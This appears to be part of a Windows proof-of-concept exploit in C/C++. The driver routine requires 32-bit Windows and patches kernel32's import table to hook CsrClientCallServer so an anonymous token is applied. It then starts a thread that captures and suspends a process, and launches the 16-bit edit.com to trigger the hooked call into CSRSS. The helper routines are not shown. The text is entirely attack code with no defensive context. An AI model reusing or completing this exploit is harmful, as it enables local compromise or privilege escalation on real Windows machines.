{
BOOL is_wow64 = FALSE;
if (IsWow64Process(GetCurrentProcess(), &is_wow64) && is_wow64)
{
printf("Error: This must be run on 32 bit Windows\n");
return 1;
}
// Hook the call to CsrClientCallServer from kernel32 to apply the anonymous token.
PVOID hook;
HRESULT hr = PatchIat(GetModuleHandle(L"kernel32.dll"), "ntdll.dll", "CsrClientCallServer", CsrClientCallServerHook, &hook);
if (FAILED(hr))
{
printf("Error patching IAT: %08X\n", hr);
return 1;
}
g_pCsgClientCallServer = (fCsrClientCallServer)hook;
printf("Patched client %p %p\n", hook, GetProcAddress(GetModuleHandle(L"ntdll.dll"), "CsrClientCallServer"));
HANDLE hThread = CreateThread(nullptr, 0, CaptureAndSuspendProcess, nullptr, 0, nullptr);
// Wait a little just to ensure capture loop is running.
Sleep(1000);
STARTUPINFO startInfo = {};
startInfo.cb = sizeof(startInfo);
PROCESS_INFORMATION procInfo = {};
WCHAR cmdline[] = L"edit.com";
// Create a 16bit executable, this will call into CSRSS which we've hooked.
CreateProcess(nullptr, cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo);
return 0;
}